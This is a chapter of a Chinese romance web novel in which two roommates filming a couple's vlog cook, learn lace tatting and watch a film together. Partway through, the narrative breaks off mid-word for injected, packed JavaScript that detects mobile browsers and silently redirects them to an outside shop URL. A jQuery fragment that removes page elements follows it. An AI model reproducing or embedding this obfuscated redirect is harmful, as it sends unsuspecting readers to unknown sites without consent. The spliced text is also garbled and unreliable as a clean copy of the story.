那滴水正好掉在眼下的位置，顺着面颊滑落，之后更多的水滴下来，视线里仿佛有一场雨。
这让林芜清醒许多。她坐起来，抹掉脸上的水，“谢谢你帮我洗脸。”
祁一舟站直身体：“抱歉。”
林芜将黏在下颌的发丝抚到耳后，“是我不对，不该睡在这里。”
“对不起，不该喝那么多”，祁一舟擦头发的动作慢下来，“我昨晚没做什么吧？”
林芜歪头，大脑还处于醒来之后的混沌时刻，说话没清醒时那么委婉：“你是指当我面脱裤子还是闹着要抱抱？”
他脸上的表情有一瞬凝滞，显然不是一点记忆都没有的：“是你先扒我裤子的。”
“因为你裤子湿透了。”
林芜掀开被子下床，发现拖鞋不知去向，俯身去找。祁一舟突然推起她的肩膀，蹲下从床下拿出她的小猫拖鞋。他的耳尖莫名其妙变红，却面不改色，非常流畅地转移话题：“你今天不上班？”
“我调整了休息时间，以后周三周六休息。”
林芜伸脚去穿鞋，祁一舟直接帮她套在脚上：“也就是说一个月可以约会八次？”
“是做自媒体博主工作八次，不是约会八次。”林芜试图为自己争取劳动者权益，“我们需要拍这么多视频？我也是需要休息的。”
“出去玩不算休息？”
“对我来说不算。”
祁一舟将毛巾搭在脖子上，扬起唇角，“阿芜，打两份工就是很累的。”
谈判失败，林芜气鼓鼓地跑回自己的卧室，将自己摔在床上。
祁一舟是精力旺盛的那类人，印象中他睡觉时间很短，同时又自律和耐心，可以早起健身，可以坐在工作台前踩一天缝纫机。整个人的状态好像就是每一分钟都没有虚度，每一秒都在闪闪发光。
她点开他们的账号，反响比她想得要好很多。一天过去，粉丝数将近三百人。第一条视频下面评论不少，大多是夸氛围，还有一部分是夸祁一舟颜值。
「好新鲜的小情侣，关注了！」
「哥好权威的建模，姐看下半张脸感觉颜值也不低」
「99」
「好像小说！」
「哥姐刚谈上吗？互动好青涩啊」
林芜刷完评论，没有看到负面的文字，她切号拿小号给他们的视频点了个赞。
阴雨绵绵的日子沾了床就容易一睡不起。她再次醒来时已经是午后，出门就看见祁一舟弓身站在冰箱前。
他们住在一起后从没有同时休假过，林芜将滑下去的肩带捞回来，装作没醒的样子移开视线。
洗漱后祁一舟转移到厨房。
“饿吗？”
“嗯。”林芜走过去，见到铸铁锅里躺了两块牛排，表面已经煎出美妙的焦褐色。她咽了咽口水，问道：“需不需要帮忙？”
“那就将蔬菜分出来。”
祁一舟用勺子给肉淋油，脸上露出一点费解的神色，“你怎么这么能睡？”
“天不好嘛。”
林芜特地将餐盘摆得漂亮些，“我们这样好像在过日子。”
“你以前没想过？”
林芜想过。比祁雪闻在香港提结婚那次还要早。
在祁一舟家醉酒的那天晚上，林芜还是留下来过夜了。第二天早上她穿着祁一舟的衣服吃他亲手做的早餐。
他们醒得出奇地早，天际一颗金球缓缓升起，几乎让人分不清是日出还是日落的时刻；朝曦为玻璃建筑镀上辉光，如同电影一般，清晰地分出明暗两面。
有那么一瞬间她希望此后的每一个早晨都能如此刻。
沉默的时间很长，久到林芜不知道该不该开口继续这个话题。祁一舟似乎也不想追问，夹起牛肉放在锡纸上包好。
开动前，祁一舟将相机递给林芜。
她接过戴在脖子上，嘀咕一句：“吃这么好原来是在拍素材。”
“之前吃得不好？”
可不能得罪衣食父母，林芜连忙回道：“当然好。”
“标题我都想好了，梅雨季小情侣宅家的一天。”祁一舟轻轻叹气，“可惜，现在要改成半天了。”
林芜装听不见，让自己的嘴巴忙碌起来。一颗皱巴巴的番茄被递过来，紧紧贴在唇上，她不得不吃掉。
他盘子里的食物没少几块。
“怎么不吃？”
祁一舟托腮，似笑非笑：“需要你喂我。”
林芜不情愿地叉起一块递过去。
“下午有什么活动？”
祁一舟思考一阵，问道：“你想不想尝试梭编？上次我编蕾丝你说可以拍一期。”
“都可以。”
祁一舟在房间里架了三台相机，林芜坐在桌前等着三个镜头对向自己。机器上的红灯依次亮起，她突然有些紧张。
调好相机，祁一舟将材料拿到工作台前，正式开始编织课程。但很快林芜的心思就不在学习上了。
她面前的手干净修长，指甲修剪得圆润。手背上的筋脉随着动作起伏，令人心动。
神游之际，面前的手指停下，一句问话将林芜拉回现实。
“你记住了吗？”
那声音没什么起伏，可落在林芜耳朵里却觉得有些严厉，“太…太快了，有些没记住。”
“我带你起个头？”
祁一舟嘴角露出莫名其妙的笑，可林芜顾不了那么多，连忙点头。
下一秒她被环住，祁一舟在她手上缠好线，握住她拿梭子的手开始编织。
他们贴在一起。祁一舟的身体很烫，呼吸很轻地扑在她耳畔。林芜觉得痒，歪头想将他的脑袋顶开。但他显然会错意，和她的头抵在一起。
林芜就这样磕磕绊绊地学完了蕾丝编织方法，她练了几次，也算上手了。她从材料盒里选了白色珍珠，和带亮闪的紫色线，打算编一条手环。
“你一般要编多久？”
“手环大概半天。”
“真快。”林芜将珠子穿进去，“说起来，我们账号有买粉吗？”
第一条视频质量确实高，但这个涨粉速度还是让人难以置信。
“当然没有，娄宇才不会这么大方。”
林芜若有所思，“没关系，我们有很多内容可以拍，一定可以火的。”
“比
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718451|206435||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如？”
“比如你教我缝纫小技巧，或者我教你化妆，画画也行。不过我这次没带画具，要等开学。”
祁一舟替她捡出材料，眉眼弯起：“不着急。”
中场休息时祁一舟提出调两杯气泡饮料。
屋外还在淅沥沥下雨，雨点很小，打在破洞的遮雨棚上发出绵软的声音。厨房里满是潮气，玻璃上凝着水珠，空间里有一点木头的气味。
从冰箱里拿出来的气泡水散出阵阵白雾，瓶身很凉。林芜很坏地在祁一舟绷紧的胳膊上贴了一下，他被冰得一激灵，埋怨地看她。
林芜安抚地拍了拍那片被她冰过的皮肤，“替你降温嘛。”
再回到楼上，林芜对编织的热情褪去大半，可又想要完成自己的第一份手工。在脑内交战时，一阵音乐响起。她转头，祁一舟打开了投影仪。
“要不要看一会儿电影？”
“都可以。”
最佳观影位置是床上。四件套换成林芜之前挑的，纯色被单和被套，只有枕套是条纹的，看着极简清新。在镜头下应该不会出错。
祁一舟先一步坐到床上，朝她张开手臂。
这次不需要讨价还价，这次是工作。
“我要怎么坐？”
“靠在我旁边？或者被我抱着？”祁一舟微笑补充道，“我们以前看电影时也是这样的。”
今时不同往日，林芜当然选择靠在他身旁。
“看什么？”
“看你上次看的。”
历史浏览里，最后一部电影叫《赎罪》。
林芜听说过这部电影，却一直没机会看。
电影很快放到一段亲密戏，林芜很不自在地转头，发现祁一舟正盯着她看。
变换的屏幕光照在那张轮廓分明的脸上，那双眼睛如电影主人公一般认真又痴情。他伸手，手指在她眼下轻点，收回手时指尖黏着一根长睫毛。
房间的窗帘全部拉上，此刻同样是封闭的空间。祁一舟靠近，大约有一个吻会落下。
在视野将被覆盖前，林芜被相机闪烁的红光惊醒，手指轻轻抵住他滚烫的胸膛，“这也是拍摄的一部分？”
祁一舟笑得有些无奈，转头继续看电影。
男声独白在耳边诵读，其中一句林芜听清了。
“Thestorycanresume.”
有一瞬间，她好希望他们的故事也会延续下去。
一个月前她还在戒备祁一舟，可现在频繁的肢体接触，模糊的界限。甚至躺在他床上也能入睡。
最开始的担心反而如同必定降临的预言，她很没骨气地沉溺在祁一舟编织的幻梦中，仿佛中了什么魅术。
想到这里，她原本过速的心跳开始降频，她强迫自己从那个旖旎的梦里醒来。
林芜开口，长时间不说话的声音有些黏连。
“我有件事情要问。”
祁一舟眼睛，期待地看她。林芜手臂伸到桌子边缘，将一只老式计算器拿到手边。
“我是不是该交房租了？”
话音刚落，她按下按钮。机械女音冰冷冷一声发出一声“归零”。